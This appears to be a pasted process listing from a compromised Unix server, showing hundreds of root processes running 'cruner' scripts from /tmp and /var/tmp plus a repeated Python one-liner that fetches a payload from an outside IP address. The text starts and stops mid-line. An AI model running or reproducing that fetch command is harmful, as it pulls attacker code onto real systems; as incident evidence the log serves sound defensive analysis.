11821 20577 0 15:45:59 ? 0:00 bash -sh > root 5523 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3720 6623 0 15:45:58 ? 0:00 sleep 60 > root 23106 14413 0 15:45:43 ? 0:00 sleep 60 > root 14398 23288 0 15:46:13 ? 0:00 bash -sh > root 3649 23076 0 15:45:58 ? 0:00 xargs kill -9 > root 16705 7435 0 - ? 0:00 <defunct> > root 128 16688 0 15:46:02 ? 0:00 bash -sh > root 3385 19697 0 15:45:19 ? 0:00 bash -sh > root 29353 13623 0 - ? 0:00 <defunct> > root 27382 5100 0 15:45:57 ? 0:00 sleep 60 > root 4699 7041 0 - ? 0:00 <defunct> > root 4047 9390 0 15:45:28 ? 0:00 bash -sh > root 18821 12608 0 15:43:34 ? 0:00 bash -sh > root 2592 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 25298 23038 0 - ? 0:00 <defunct> > root 29062 9579 0 15:43:30 ? 0:00 bash -sh > root 3313 15344 0 15:46:06 ? 0:00 bash -sh > root 26958 28392 0 15:46:02 ? 0:00 sh /var/tmp/cruner > root 26167 27946 0 15:45:53 ? 0:00 xargs kill -9 > root 28360 17187 0 15:45:34 ? 0:00 sleep 60 > root 126 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3255 3154 0 15:45:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11021 12254 0 15:44:04 ? 0:00 bash -sh > root 421 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 17783 2767 0 - ? 0:00 <defunct> > root 6727 17776 0 15:46:12 ? 0:00 bash -sh > root 19189 3903 0 15:46:14 ? 0:00 bash -sh > root 9823 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28063 21055 0 15:46:10 ? 0:00 xargs kill -9 > root 20439 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 7679 1589 0 15:45:20 ? 0:00 sleep 60 > root 25318 22251 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 24017 23692 0 - ? 0:00 <defunct> > root 6160 6150 0 15:46:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12634 28188 0 15:44:25 ? 0:00 bash -sh > root 24288 14415 0 - ? 0:00 <defunct> > root 18255 7976 0 15:46:09 ? 0:00 sleep 60 > root 22826 25439 0 15:45:02 ? 0:00 bash -sh > root 21981 15507 0 15:46:01 ? 0:00 sleep 60 > root 18919 26667 0 15:46:13 ? 0:00 sh /tmp/cruner > root 10813 4942 0 15:45:36 ? 0:00 bash -sh > root 22047 24226 0 15:45:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6577 21808 0 15:45:09 ? 0:00 bash -sh > root 8050 14250 0 15:45:49 ? 0:00 bash -sh > root 29218 28096 0 15:45:57 ? 0:00 /bin/ksh -p /bin/kill -9 > root 13872 22259 0 15:45:05 ? 0:00 bash -sh > root 8924 20140 0 15:45:25 ? 0:00 sleep 60 > root 10459 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24715 20085 0 - ? 0:00 <defunct> > root 1515 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22150 1574 0 - ? 0:00 <defunct> > root 21437 7222 0 15:45:26 ? 0:00 bash -sh > root 25775 13297 0 - ? 0:00 <defunct> > root 28970 27282 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29474 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8054 8031 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24010 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11395 1065 0 15:45:05 ? 0:00 bash -sh > root 17443 4689 0 15:45:37 ? 0:00 sleep 60 > root 15850 7582 0 - ? 0:00 <defunct> > root 11097 5774 0 15:45:25 ? 0:00 sleep 60 > root 4837 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1954 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14679 10449 0 15:45:41 ? 0:00 /bin/ksh -p /bin/kill -9 > root 18090 1806 0 15:44:44 ? 0:00 bash -sh > root 23730 2965 0 15:46:05 ? 0:00 sleep 60 > root 13908 3064 0 - ? 0:00 <defunct> > root 7389 6425 0 15:45:45 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7168 15642 0 15:45:54 ? 0:00 xargs kill -9 > root 21334 7585 0 15:45:26 ? 0:00 sleep 60 > root 28955 28944 0 - ? 0:00 <defunct> > root 8002 7867 0 15:45:49 ? 0:00 /bin/ksh -p /bin/kill -9 > root 27347 23541 0 - ? 0:00 <defunct> > root 27337 7194 0 15:43:29 ? 0:00 bash -sh > root 10775 14059 0 15:46:07 ? 0:00 sleep 60 > root 768 14367 0 - ? 0:00 <defunct> > root 17022 17254 0 15:44:57 ? 0:00 bash -sh > root 9158 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22391 15474 0 15:45:47 ? 0:00 bash -sh > root 29032 28939 0 15:46:11 ? 0:00 bash -sh > root 13104 6735 0 - ? 0:00 <defunct> > root 21081 4926 0 15:45:29 ? 0:00 sleep 60 > root 17382 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21391 6853 0 15:45:12 ? 0:00 bash -sh > root 22320 28872 0 15:44:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5600 1379 0 15:45:40 ? 0:00 xargs kill -9 > root 13093 18582 0 15:45:29 ? 0:00 sleep 60 > root 16407 1831 0 15:46:13 ? 0:00 bash -sh > root 28204 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12483 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9148 12583 0 15:45:54 ? 0:00 bash -sh > root 27191 21827 0 15:46:05 ? 0:00 sleep 60 > root 28148 26524 0 15:45:43 ? 0:00 sh /tmp/cruner > root 18016 23137 0 15:46:09 ? 0:00 bash -sh > root 23894 1609 0 - ? 0:00 <defunct> > root 23164 8968 0 15:45:47 ? 0:00 bash -sh > root 16367 15623 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10620 14625 0 - ? 0:00 <defunct> > root 2611 1981 0 - ? 0:00 <defunct> > root 16626 2131 0 15:46:00 ? 0:00 sleep 60 > root 8447 26002 0 15:45:45 ? 0:00 bash -sh > root 481 7714 0 15:43:07 ? 0:00 bash -sh > root 23380 6848 0 - ? 0:00 <defunct> > root 29811 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 9488 1878 0 15:45:10 ? 0:00 bash -sh > root 6279 24728 0 - ? 0:00 <defunct> > root 25368 18080 0 15:44:54 ? 0:00 bash -sh > root 443 5727 0 - ? 0:00 <defunct> > root 17442 21908 0 15:42:32 ? 0:00 bash -sh > root 16194 11762 0 - ? 0:00 <defunct> > root 8411 10954 0 15:44:24 ? 0:00 bash -sh > root 4023 11131 0 - ? 0:00 <defunct> > root 22539 22566 0 - ? 0:00 <defunct> > root 26324 25932 0 15:43:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21432 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4981 5979 0 - ? 0:00 <defunct> > root 22058 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 619 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24828 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10858 29907 0 15:45:59 ? 0:00 bash -sh > root 24840 20312 0 15:45:39 ? 0:00 sleep 60 > root 173 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 4743 24370 0 15:45:54 ? 0:00 bash -sh > root 14553 22031 0 - ? 0:00 <defunct> > root 17627 7084 0 15:46:08 ? 0:00 bash -sh > root 15560 9442 0 - ? 0:00 <defunct> > root 28241 28218 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25413 11260 0 - ? 0:00 <defunct> > root 20693 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5984 19896 0 15:44:23 ? 0:00 bash -sh > root 22444 22403 0 15:45:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11930 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20699 25019 0 15:44:53 ? 0:00 bash -sh > root 8594 19159 0 15:46:12 ? 0:00 bash -sh > root 262 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10606 5832 0 15:44:56 ? 0:00 bash -sh > root 5570 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28112 6819 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 15308 10401 0 - ? 0:00 <defunct> > root 6970 5540 0 15:43:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8238 20890 0 15:45:40 ? 0:00 sh /var/tmp/cruner > root 10702 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2833 18322 0 15:46:11 ? 0:00 xargs kill -9 > root 7032 7017 0 15:45:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6735 22534 0 15:44:51 ? 0:00 bash -sh > root 8556 13883 0 15:45:40 ? 0:00 sh /var/tmp/cruner > root 7175 29035 0 15:45:35 ? 0:00 bash -sh > root 3536 3516 0 15:45:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3992 3939 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8890 13423 0 - ? 0:00 <defunct> > root 11630 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24273 24423 0 15:45:17 ? 0:00 sleep 60 > root 27851 12799 0 15:45:53 ? 0:00 bash -sh > root 16239 14618 0 15:45:29 ? 0:00 bash -sh > root 27808 3898 0 15:46:02 ? 0:00 sleep 60 > root 6650 11630 0 15:44:56 ? 0:00 bash -sh > root 20160 15860 0 15:45:56 ? 0:00 xargs kill -9 > root 4048 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > afarley 1083 2908 0 15:20:11 ? 0:00 /opt/csw/sbin/sshd -R > root 29237 1419 0 15:45:34 ? 0:00 sleep 60 > root 29503 16627 0 15:44:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29853 19729 0 15:44:22 ? 0:00 bash -sh > root 2690 27331 0 15:45:24 ? 0:00 bash -sh > root 1332 22318 0 15:45:24 ? 0:00 sleep 60 > root 23822 27900 0 15:46:05 ? 0:00 bash -sh > root 2414 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22016 9492 0 15:43:28 ? 0:00 bash -sh > root 14411 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10169 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3802 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 784 13530 0 15:45:48 ? 0:00 sh /tmp/cruner > root 25999 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23563 17621 0 - ? 0:00 <defunct> > root 29364 20317 0 15:45:27 ? 0:00 bash -sh > root 5071 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23806 20566 0 15:45:47 ? 0:00 xargs kill -9 > root 26590 2036 0 15:46:01 ? 0:00 bash -sh > root 5242 12870 0 - ? 0:00 <defunct> > root 11734 16065 0 15:45:59 ? 0:00 bash -sh > root 22431 21803 0 15:45:06 ? 0:00 bash -sh > root 28227 29551 0 15:46:10 ? 0:00 bash -sh > root 27444 24058 0 15:45:57 ? 0:00 sleep 60 > root 28503 9103 0 15:43:54 ? 0:00 bash -sh > root 12053 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7003 14994 0 15:45:09 ? 0:00 bash -sh > root 5193 13771 0 15:45:24 ? 0:00 sleep 60 > root 7206 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25185 23608 0 15:45:39 ? 0:00 bash -sh > root 24574 28377 0 15:45:52 ? 0:00 sleep 60 > root 6983 15255 0 15:45:58 ? 0:00 bash -sh > root 16452 28146 0 15:45:42 ? 0:00 sh /tmp/cruner > root 15618 2202 0 15:45:22 ? 0:00 sleep 60 > root 1474 16034 0 15:43:25 ? 0:00 bash -sh > root 26574 1880 0 15:45:53 ? 0:00 sh /tmp/cruner > root 18688 18936 0 15:46:13 ? 0:00 bash -sh > root 29671 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19700 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28266 24409 0 - ? 0:00 <defunct> > root 16200 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7303 7089 0 - ? 0:00 <defunct> > root 27821 1228 0 15:45:03 ? 0:00 bash -sh > root 28715 21356 0 15:45:18 ? 0:00 sleep 60 > root 13587 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15918 23412 0 - ? 0:00 <defunct> > root 14545 16450 0 - ? 0:00 <defunct> > root 10145 11384 0 15:45:28 ? 0:00 sleep 60 > root 17781 2059 0 15:44:57 ? 0:00 bash -sh > root 17466 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5012 20016 0 15:45:04 ? 0:00 bash -sh > root 24212 24196 0 15:45:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17823 24200 0 15:43:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18674 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28028 2948 0 15:44:21 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22038 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18455 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9165 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12211 10055 0 - ? 0:00 <defunct> > root 20346 14222 0 15:45:22 ? 0:00 bash -sh > root 19845 20397 0 - ? 0:00 <defunct> > root 24256 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15249 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29051 25167 0 15:45:34 ? 0:00 sleep 60 > root 16989 6608 0 - ? 0:00 <defunct> > root 5951 9916 0 15:45:58 ? 0:00 sleep 60 > root 9644 20347 0 - ? 0:00 <defunct> > root 3072 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26849 29983 0 15:45:07 ? 0:00 bash -sh > root 23410 17956 0 - ? 0:00 <defunct> > root 9045 22796 0 - ? 0:00 <defunct> > root 1815 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23200 2265 0 15:45:02 ? 0:00 bash -sh > root 9904 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25448 9634 0 15:45:13 ? 0:00 bash -sh > root 22344 1462 0 15:46:09 ? 0:00 xargs kill -9 > root 5190 12192 0 15:45:35 ? 0:00 sleep 60 > root 6667 26133 0 15:41:20 ? 0:00 bash -sh > root 14400 6310 0 - ? 0:00 <defunct> > root 6257 11357 0 15:45:35 ? 0:00 sleep 60 > root 10579 24409 0 - ? 0:00 <defunct> > root 1682 9450 0 15:45:53 ? 0:00 sh /tmp/cruner > root 16919 17302 0 15:45:42 ? 0:00 sh /var/tmp/cruner > root 7412 21533 0 - ? 0:00 <defunct> > root 27575 29484 0 15:45:34 ? 0:00 sleep 60 > root 4387 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11706 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4713 19304 0 15:45:58 ? 0:00 sleep 60 > root 10529 20372 0 15:41:52 ? 0:00 bash -sh > root 17383 22120 0 15:46:13 ? 0:00 bash -sh > root 22967 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11768 27913 0 15:46:13 ? 0:00 /bin/ksh -p /bin/kill -9 > root 22796 1985 0 15:45:38 ? 0:00 bash -sh > root 18036 5422 0 15:46:13 ? 0:00 bash -sh > root 9794 10956 0 15:46:12 ? 0:00 sleep 60 > root 767 358 0 15:44:22 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29532 29008 0 15:45:18 ? 0:00 sleep 60 > root 22388 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10050 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25715 14082 0 15:44:20 ? 0:00 bash -sh > root 22043 22012 0 15:45:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23687 12414 0 15:44:08 ? 0:00 bash -sh > root 16937 29048 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 9085 3694 0 15:45:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18191 7640 0 15:45:33 ? 0:00 bash -sh > root 10291 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16188 8315 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 27096 15647 0 15:45:18 ? 0:00 sleep 60 > root 3453 23338 0 - ? 0:00 <defunct> > root 2934 28821 0 15:46:06 ? 0:00 sleep 60 > root 16202 1 0 19:03:54 ? 0:01 sh /var/tmp/cruner > root 24603 27011 0 15:43:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10268 13964 0 15:44:04 ? 0:00 bash -sh > root 24752 13238 0 - ? 0:00 <defunct> > root 19158 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 9981 14287 0 15:45:50 ? 0:00 xargs kill -9 > root 16800 18589 0 15:45:42 ? 0:00 sleep 60 > root 23731 23729 0 15:45:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2607 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18638 10485 0 - ? 0:00 <defunct> > root 6601 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 3977 7195 0 - ? 0:00 <defunct> > root 19802 25942 0 15:44:53 ? 0:00 bash -sh > root 18608 14368 0 15:45:56 ? 0:00 xargs kill -9 > root 20351 16750 0 15:46:00 ? 0:00 sleep 60 > root 18365 8860 0 15:46:13 ? 0:00 sh /tmp/cruner > root 18623 4781 0 - ? 0:00 <defunct> > root 14882 27678 0 - ? 0:00 <defunct> > root 25667 26623 0 - ? 0:00 <defunct> > root 16458 4578 0 15:45:26 ? 0:00 bash -sh > root 8134 5292 0 15:45:36 ? 0:00 bash -sh > root 15021 20818 0 15:45:55 ? 0:00 bash -sh > root 2980 14797 0 15:45:19 ? 0:00 sleep 60 > root 29528 10053 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 19411 9508 0 15:46:00 ? 0:00 sleep 60 > root 13435 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14090 15873 0 15:45:59 ? 0:00 bash -sh > root 5090 11962 0 15:46:03 ? 0:00 bash -sh > root 5704 24628 0 - ? 0:00 <defunct> > root 10428 19481 0 - ? 0:00 <defunct> > root 7613 14301 0 - ? 0:00 <defunct> > root 8729 11291 0 15:45:20 ? 0:00 bash -sh > root 19148 26589 0 15:46:14 ? 0:00 bash -sh > root 2564 7683 0 - ? 0:00 <defunct> > root 27971 6982 0 15:45:34 ? 0:00 sleep 60 > root 6967 24532 0 - ? 0:00 <defunct> > root 3727 24853 0 15:44:02 ? 0:00 bash -sh > root 13878 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2858 10594 0 15:46:11 ? 0:00 bash -sh > root 19330 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 3333 2579 0 - ? 0:00 <defunct> > root 3134 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13804 6196 0 15:46:13 ? 0:00 bash -sh > root 1911 10491 0 15:45:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26239 26141 0 15:45:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22713 7203 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 13894 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8905 9889 0 - ? 0:00 <defunct> > root 28100 10555 0 15:45:23 ? 0:00 sleep 60 > root 28545 28781 0 15:45:53 ? 0:00 sleep 60 > root 15043 21088 0 15:42:48 ? 0:00 bash -sh > root 14076 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 23929 25538 0 - ? 0:00 <defunct> > root 29922 22508 0 15:45:14 ? 0:00 bash -sh > root 4326 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9828 17834 0 - ? 0:00 <defunct> > root 4345 3917 0 15:45:19 ? 0:00 sleep 60 > root 1386 143 0 15:45:48 ? 0:00 sleep 60 > root 8585 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8541 28937 0 15:43:09 ? 0:00 bash -sh > root 15689 15547 0 - ? 0:00 <defunct> > root 27089 10642 0 15:44:21 ? 0:00 bash -sh > root 21127 28483 0 15:45:46 ? 0:00 xargs kill -9 > root 7506 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4775 19302 0 15:45:19 ? 0:00 bash -sh > root 1501 29294 0 15:45:53 ? 0:00 sleep 60 > root 18411 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12128 27292 0 15:43:55 ? 0:00 bash -sh > root 20125 4816 0 - ? 0:00 <defunct> > root 26558 1 0 22:50:40 ? 0:00 sh /var/tmp/cruner > root 11658 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 15623 11514 0 15:45:11 ? 0:00 bash -sh > root 5398 5391 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17696 13106 0 15:44:44 ? 0:00 bash -sh > root 1623 11707 0 - ? 0:00 <defunct> > root 20620 2192 0 15:45:38 ? 0:00 bash -sh > root 14322 3375 0 - ? 0:00 <defunct> > root 27326 1021 0 - ? 0:00 <defunct> > root 29575 28587 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 29935 24032 0 - ? 0:00 <defunct> > root 12586 9727 0 15:45:36 ? 0:00 bash -sh > root 24367 14597 0 15:45:43 ? 0:00 bash -sh > root 26529 15456 0 15:45:47 ? 0:00 bash -sh > root 4250 27898 0 15:44:02 ? 0:00 bash -sh > root 11287 799 0 15:45:15 ? 0:00 bash -sh > root 29296 7365 0 - ? 0:00 <defunct> > root 20903 2950 0 15:45:33 ? 0:00 sleep 60 > root 27514 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4581 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20549 13889 0 15:45:52 ? 0:00 bash -sh > root 23898 23243 0 - ? 0:00 <defunct> > root 11932 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19061 17627 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28700 21092 0 15:46:05 ? 0:00 sleep 60 > root 215 18656 0 15:45:44 ? 0:00 sh /var/tmp/cruner > root 10465 27852 0 15:45:10 ? 0:00 sh /tmp/cruner > root 20598 6053 0 15:44:48 ? 0:00 bash -sh > root 11364 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27359 5015 0 15:45:47 ? 0:00 xargs kill -9 > root 25765 25690 0 - ? 0:00 <defunct> > root 26442 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21883 24204 0 - ? 0:00 <defunct> > root 9097 21810 0 - ? 0:00 <defunct> > root 7247 16484 0 15:43:09 ? 0:00 bash -sh > root 19426 11426 0 15:43:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25790 18202 0 15:46:10 ? 0:00 sleep 60 > root 28450 10229 0 15:45:08 ? 0:00 bash -sh > root 14308 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12406 10941 0 - ? 0:00 <defunct> > root 4169 1030 0 15:45:28 ? 0:00 sleep 60 > root 10782 20015 0 - ? 0:00 <defunct> > root 9285 8689 0 15:46:07 ? 0:00 sleep 60 > root 5153 15142 0 15:44:03 ? 0:00 bash -sh > root 12755 21626 0 - ? 0:00 <defunct> > root 14421 2803 0 15:43:56 ? 0:00 bash -sh > root 794 28374 0 15:43:07 ? 0:00 bash -sh > root 10993 10992 0 15:45:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6875 15809 0 15:43:09 ? 0:00 bash -sh > root 22765 1 0 01:18:44 ? 0:01 sh /var/tmp/cruner > root 29735 1615 0 15:45:44 ? 0:00 bash -sh > root 17834 21163 0 15:46:00 ? 0:00 bash -sh > root 9750 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 27768 26996 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 14005 13216 0 15:44:05 ? 0:00 bash -sh > root 8803 19593 0 15:44:14 ? 0:00 bash -sh > root 28862 10371 0 15:46:05 ? 0:00 sleep 60 > root 9052 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9117 24085 0 15:43:10 ? 0:00 bash -sh > root 2822 3559 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 19015 5054 0 15:46:09 ? 0:00 bash -sh > root 27688 17703 0 15:45:47 ? 0:00 bash -sh > root 10172 14903 0 15:45:41 ? 0:00 sh /tmp/cruner > root 12644 18499 0 - ? 0:00 <defunct> > root 21767 13595 0 15:44:19 ? 0:00 bash -sh > root 5048 12116 0 15:45:28 ? 0:00 sleep 60 > root 8227 16490 0 15:45:20 ? 0:00 sleep 60 > root 7527 23873 0 15:45:54 ? 0:00 xargs kill -9 > root 4676 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3127 16208 0 - ? 0:00 <defunct> > root 24586 24585 0 15:45:39 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 225 12163 0 15:45:48 ? 0:00 sleep 60 > root 10638 27925 0 15:46:07 ? 0:00 sleep 60 > root 6151 4701 0 - ? 0:00 <defunct> > root 23166 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19592 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18129 22314 0 15:46:13 ? 0:00 bash -sh > root 25582 25233 0 15:44:40 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10511 12053 0 15:46:07 ? 0:00 sleep 60 > root 12345 10990 0 - ? 0:00 <defunct> > root 18465 11453 0 15:46:13 ? 0:00 bash -sh > root 27100 16981 0 15:45:13 ? 0:00 bash -sh > root 19510 19187 0 15:44:26 ? 0:00 bash -sh > root 8538 16699 0 15:45:54 ? 0:00 sleep 60 > root 11260 20020 0 15:45:59 ? 0:00 bash -sh > root 16184 23176 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 3355 17595 0 15:46:06 ? 0:00 sleep 60 > root 14566 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 29430 1 0 23:55:34 ? 0:00 sh /var/tmp/cruner > root 25638 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8512 8507 0 15:44:24 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16032 4711 0 15:46:13 ? 0:00 sleep 60 > root 14488 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10497 11921 0 15:44:15 ? 0:00 bash -sh > root 4680 27228 0 15:46:06 ? 0:00 sleep 60 > root 25788 26210 0 15:46:01 ? 0:00 sleep 60 > root 27780 10319 0 15:46:10 ? 0:00 sleep 60 > root 2383 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 24157 8470 0 15:46:01 ? 0:00 bash -sh > root 20522 10645 0 15:45:29 ? 0:00 sleep 60 > root 11092 1 0 18:09:15 ? 0:01 sh /var/tmp/cruner > root 29540 19293 0 15:45:44 ? 0:00 bash -sh > root 8445 12017 0 15:46:07 ? 0:00 sleep 60 > root 23085 21795 0 15:46:01 ? 0:00 bash -sh > root 23304 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1707 22255 0 15:45:35 ? 0:00 xargs kill -9 > root 7072 16719 0 15:45:45 ? 0:00 bash -sh > root 20437 10622 0 - ? 0:00 <defunct> > root 20366 22860 0 15:45:52 ? 0:00 bash -sh > root 29289 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10239 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14468 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17836 1609 0 - ? 0:00 <defunct> > root 2445 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10889 15336 0 - ? 0:00 <defunct> > root 2861 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 580 17202 0 - ? 0:00 <defunct> > root 4217 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11442 13617 0 - ? 0:00 <defunct> > root 7400 6572 0 15:43:43 ? 0:00 bash -sh > root 22122 2692 0 15:46:09 ? 0:00 sleep 60 > root 761 17106 0 15:45:48 ? 0:00 bash -sh > root 26904 28051 0 15:45:18 ? 0:00 sleep 60 > root 18883 4453 0 - ? 0:00 <defunct> > root 24341 19860 0 15:44:32 ? 0:00 bash -sh > root 9497 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21400 10990 0 15:46:09 ? 0:00 xargs kill -9 > root 5260 1 0 Oct 